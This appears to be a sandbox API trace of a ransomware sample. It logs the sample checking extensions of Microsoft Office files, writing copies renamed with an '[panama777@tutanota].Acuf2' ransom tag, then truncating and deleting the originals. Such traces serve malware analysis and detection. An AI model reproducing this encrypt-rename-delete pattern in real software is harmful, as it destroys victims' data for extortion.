	[0258.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64
	[0258.629] lstrlenW (lpString=".zip") returned 4
	[0258.629] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0258.629] lstrlenW (lpString=".rar") returned 4
	[0258.629] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0258.629] lstrlenW (lpString=".bz2") returned 4
	[0258.629] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0258.629] lstrlenW (lpString=".7z") returned 3
	[0258.629] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0258.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64
	[0258.630] lstrlenW (lpString=".dbf") returned 4
	[0258.630] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0258.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64
	[0258.630] lstrlenW (lpString=".1cd") returned 4
	[0258.630] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0258.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64
	[0258.630] lstrlenW (lpString=".jpg") returned 4
	[0258.630] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0258.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64
	[0258.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64
	[0258.630] lstrlenW (lpString=".doc") returned 4
	[0258.630] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0258.630] lstrlenW (lpString=".docx") returned 5
	[0258.630] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1
	[0258.630] lstrlenW (lpString=".pdf") returned 4
	[0258.630] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0258.630] lstrlenW (lpString=".xls") returned 4
	[0258.630] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0258.630] lstrlenW (lpString=".xlsx") returned 5
	[0258.630] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1
	[0258.630] lstrlenW (lpString=".ppt") returned 4
	[0258.630] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0258.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64
	[0258.630] lstrlenW (lpString=".zip") returned 4
	[0258.630] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0258.630] lstrlenW (lpString=".rar") returned 4
	[0258.630] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0258.630] lstrlenW (lpString=".bz2") returned 4
	[0258.630] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0258.631] lstrlenW (lpString=".7z") returned 3
	[0258.631] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0258.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64
	[0258.631] lstrlenW (lpString=".dbf") returned 4
	[0258.631] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0258.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64
	[0258.631] lstrlenW (lpString=".1cd") returned 4
	[0258.631] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0258.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64
	[0258.631] lstrlenW (lpString=".jpg") returned 4
	[0258.631] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0258.631] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0258.631] lstrlenW (lpString="OFFICE10.DLL") returned 12
	[0258.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0258.632] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=15776) returned 1
	[0258.632] CloseHandle (hObject=0x220) returned 1
	[0258.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll")) returned 0x20
	[0258.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0258.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0258.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61
	[0258.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61
	[0258.632] lstrlenW (lpString=".doc") returned 4
	[0258.632] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0258.632] lstrlenW (lpString=".docx") returned 5
	[0258.633] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1
	[0258.633] lstrlenW (lpString=".pdf") returned 4
	[0258.633] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0258.633] lstrlenW (lpString=".xls") returned 4
	[0258.633] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0258.633] lstrlenW (lpString=".xlsx") returned 5
	[0258.633] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1
	[0258.633] lstrlenW (lpString=".ppt") returned 4
	[0258.633] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0258.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61
	[0258.633] lstrlenW (lpString=".zip") returned 4
	[0258.633] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0258.633] lstrlenW (lpString=".rar") returned 4
	[0258.633] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0258.633] lstrlenW (lpString=".bz2") returned 4
	[0258.633] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0258.633] lstrlenW (lpString=".7z") returned 3
	[0258.633] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0258.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61
	[0258.633] lstrlenW (lpString=".dbf") returned 4
	[0258.633] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0258.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61
	[0258.633] lstrlenW (lpString=".1cd") returned 4
	[0258.633] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0258.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61
	[0258.633] lstrlenW (lpString=".jpg") returned 4
	[0258.633] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0258.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61
	[0258.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61
	[0258.633] lstrlenW (lpString=".doc") returned 4
	[0258.633] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0258.633] lstrlenW (lpString=".docx") returned 5
	[0258.634] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1
	[0258.634] lstrlenW (lpString=".pdf") returned 4
	[0258.634] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0258.634] lstrlenW (lpString=".xls") returned 4
	[0258.634] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0258.634] lstrlenW (lpString=".xlsx") returned 5
	[0258.634] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1
	[0258.634] lstrlenW (lpString=".ppt") returned 4
	[0258.634] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0258.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61
	[0258.634] lstrlenW (lpString=".zip") returned 4
	[0258.634] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0258.634] lstrlenW (lpString=".rar") returned 4
	[0258.634] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0258.634] lstrlenW (lpString=".bz2") returned 4
	[0258.634] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0258.634] lstrlenW (lpString=".7z") returned 3
	[0258.634] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0258.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61
	[0258.634] lstrlenW (lpString=".dbf") returned 4
	[0258.634] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0258.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61
	[0258.634] lstrlenW (lpString=".1cd") returned 4
	[0258.634] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0258.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61
	[0258.634] lstrlenW (lpString=".jpg") returned 4
	[0258.634] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0258.635] lstrcmpiW (lpString1=".MMW", lpString2=".Acuf2") returned 1
	[0258.635] lstrlenW (lpString="OFFICE10.MMW") returned 12
	[0258.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0258.635] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=492624) returned 1
	[0258.635] CloseHandle (hObject=0x220) returned 1
	[0258.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw")) returned 0x20
	[0258.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0258.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0258.635] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.635] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0258.636] GetLastError () returned 0x0
	[0258.636] ReadFile (in: hFile=0x220, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x78450, lpOverlapped=0x0) returned 1
	[0258.646] WriteFile (in: hFile=0x328, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x78460, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x78460, lpOverlapped=0x0) returned 1
	[0258.664] ReadFile (in: hFile=0x220, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0258.664] WriteFile (in: hFile=0x328, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0258.664] SetEndOfFile (hFile=0x328) returned 1
	[0259.480] CloseHandle (hObject=0x328) returned 1
	[0259.480] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.480] SetEndOfFile (hFile=0x220) returned 1
	[0259.491] CloseHandle (hObject=0x220) returned 1
	[0259.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.672] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw")) returned 1
	[0259.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61
	[0259.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61
	[0259.673] lstrlenW (lpString=".doc") returned 4
	[0259.673] lstrcmpiW (lpString1=".doc", lpString2=".MMW") returned -1
	[0259.673] lstrlenW (lpString=".docx") returned 5
	[0259.673] lstrcmpiW (lpString1=".docx", lpString2="0.MMW") returned -1
	[0259.673] lstrlenW (lpString=".pdf") returned 4
	[0259.673] lstrcmpiW (lpString1=".pdf", lpString2=".MMW") returned 1
	[0259.673] lstrlenW (lpString=".xls") returned 4
	[0259.673] lstrcmpiW (lpString1=".xls", lpString2=".MMW") returned 1
	[0259.673] lstrlenW (lpString=".xlsx") returned 5
	[0259.673] lstrcmpiW (lpString1=".xlsx", lpString2="0.MMW") returned -1
	[0259.673] lstrlenW (lpString=".ppt") returned 4
	[0259.673] lstrcmpiW (lpString1=".ppt", lpString2=".MMW") returned 1
	[0259.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61
	[0259.673] lstrlenW (lpString=".zip") returned 4
	[0259.673] lstrcmpiW (lpString1=".zip", lpString2=".MMW") returned 1
	[0259.673] lstrlenW (lpString=".rar") returned 4
	[0259.673] lstrcmpiW (lpString1=".rar", lpString2=".MMW") returned 1
	[0259.673] lstrlenW (lpString=".bz2") returned 4
	[0259.673] lstrcmpiW (lpString1=".bz2", lpString2=".MMW") returned -1
	[0259.673] lstrlenW (lpString=".7z") returned 3
	[0259.673] lstrcmpiW (lpString1=".7z", lpString2="MMW") returned -1
	[0259.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61
	[0259.673] lstrlenW (lpString=".dbf") returned 4
	[0259.673] lstrcmpiW (lpString1=".dbf", lpString2=".MMW") returned -1
	[0259.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61
	[0259.673] lstrlenW (lpString=".1cd") returned 4
	[0259.674] lstrcmpiW (lpString1=".1cd", lpString2=".MMW") returned -1
	[0259.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61
	[0259.674] lstrlenW (lpString=".jpg") returned 4
	[0259.674] lstrcmpiW (lpString1=".jpg", lpString2=".MMW") returned -1
	[0259.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61
	[0259.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61
	[0259.674] lstrlenW (lpString=".doc") returned 4
	[0259.674] lstrcmpiW (lpString1=".doc", lpString2=".MMW") returned -1
	[0259.674] lstrlenW (lpString=".docx") returned 5
	[0259.674] lstrcmpiW (lpString1=".docx", lpString2="0.MMW") returned -1
	[0259.674] lstrlenW (lpString=".pdf") returned 4
	[0259.674] lstrcmpiW (lpString1=".pdf", lpString2=".MMW") returned 1
	[0259.674] lstrlenW (lpString=".xls") returned 4
	[0259.674] lstrcmpiW (lpString1=".xls", lpString2=".MMW") returned 1
	[0259.674] lstrlenW (lpString=".xlsx") returned 5
	[0259.674] lstrcmpiW (lpString1=".xlsx", lpString2="0.MMW") returned -1
	[0259.674] lstrlenW (lpString=".ppt") returned 4
	[0259.674] lstrcmpiW (lpString1=".ppt", lpString2=".MMW") returned 1
	[0259.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61
	[0259.674] lstrlenW (lpString=".zip") returned 4
	[0259.674] lstrcmpiW (lpString1=".zip", lpString2=".MMW") returned 1
	[0259.674] lstrlenW (lpString=".rar") returned 4
	[0259.674] lstrcmpiW (lpString1=".rar", lpString2=".MMW") returned 1
	[0259.674] lstrlenW (lpString=".bz2") returned 4
	[0259.674] lstrcmpiW (lpString1=".bz2", lpString2=".MMW") returned -1
	[0259.674] lstrlenW (lpString=".7z") returned 3
	[0259.674] lstrcmpiW (lpString1=".7z", lpString2="MMW") returned -1
	[0259.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61
	[0259.674] lstrlenW (lpString=".dbf") returned 4
	[0259.674] lstrcmpiW (lpString1=".dbf", lpString2=".MMW") returned -1
	[0259.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61
	[0259.675] lstrlenW (lpString=".1cd") returned 4
	[0259.675] lstrcmpiW (lpString1=".1cd", lpString2=".MMW") returned -1
	[0259.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61
	[0259.675] lstrlenW (lpString=".jpg") returned 4
	[0259.675] lstrcmpiW (lpString1=".jpg", lpString2=".MMW") returned -1
	[0259.675] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0259.675] lstrlenW (lpString="CERTINTL.DLL") returned 12
	[0259.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0260.012] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=12176) returned 1
	[0260.012] CloseHandle (hObject=0x354) returned 1
	[0260.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll")) returned 0x20
	[0260.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0260.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60
	[0260.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60
	[0260.065] lstrlenW (lpString=".doc") returned 4
	[0260.065] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0260.065] lstrlenW (lpString=".docx") returned 5
	[0260.065] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1
	[0260.065] lstrlenW (lpString=".pdf") returned 4
	[0260.065] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0260.065] lstrlenW (lpString=".xls") returned 4
	[0260.065] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0260.065] lstrlenW (lpString=".xlsx") returned 5
	[0260.065] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1
	[0260.066] lstrlenW (lpString=".ppt") returned 4
	[0260.066] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0260.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60
	[0260.066] lstrlenW (lpString=".zip") returned 4
	[0260.066] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0260.066] lstrlenW (lpString=".rar") returned 4
	[0260.066] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0260.066] lstrlenW (lpString=".bz2") returned 4
	[0260.066] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0260.066] lstrlenW (lpString=".7z") returned 3
	[0260.066] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0260.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60
	[0260.066] lstrlenW (lpString=".dbf") returned 4
	[0260.066] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0260.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60
	[0260.066] lstrlenW (lpString=".1cd") returned 4
	[0260.066] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0260.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60
	[0260.066] lstrlenW (lpString=".jpg") returned 4
	[0260.066] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0260.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60
	[0260.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60
	[0260.066] lstrlenW (lpString=".doc") returned 4
	[0260.066] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0260.066] lstrlenW (lpString=".docx") returned 5
	[0260.066] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1
	[0260.066] lstrlenW (lpString=".pdf") returned 4
	[0260.066] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0260.066] lstrlenW (lpString=".xls") returned 4
	[0260.066] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0260.066] lstrlenW (lpString=".xlsx") returned 5
	[0260.067] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1
	[0260.067] lstrlenW (lpString=".ppt") returned 4
	[0260.067] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0260.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60
	[0260.067] lstrlenW (lpString=".zip") returned 4
	[0260.067] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0260.067] lstrlenW (lpString=".rar") returned 4
	[0260.067] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0260.067] lstrlenW (lpString=".bz2") returned 4
	[0260.067] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0260.067] lstrlenW (lpString=".7z") returned 3
	[0260.067] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0260.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60
	[0260.067] lstrlenW (lpString=".dbf") returned 4
	[0260.067] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0260.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60
	[0260.067] lstrlenW (lpString=".1cd") returned 4
	[0260.067] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0260.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60
	[0260.067] lstrlenW (lpString=".jpg") returned 4
	[0260.067] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0260.067] lstrcmpiW (lpString1=".gta", lpString2=".Acuf2") returned 1
	[0260.067] lstrlenW (lpString="Discussion14.gta") returned 16
	[0260.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0260.068] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=362441) returned 1
	[0260.068] CloseHandle (hObject=0x33c) returned 1
	[0260.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta")) returned 0x20
	[0260.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0260.068] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.068] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0260.069] GetLastError () returned 0x0
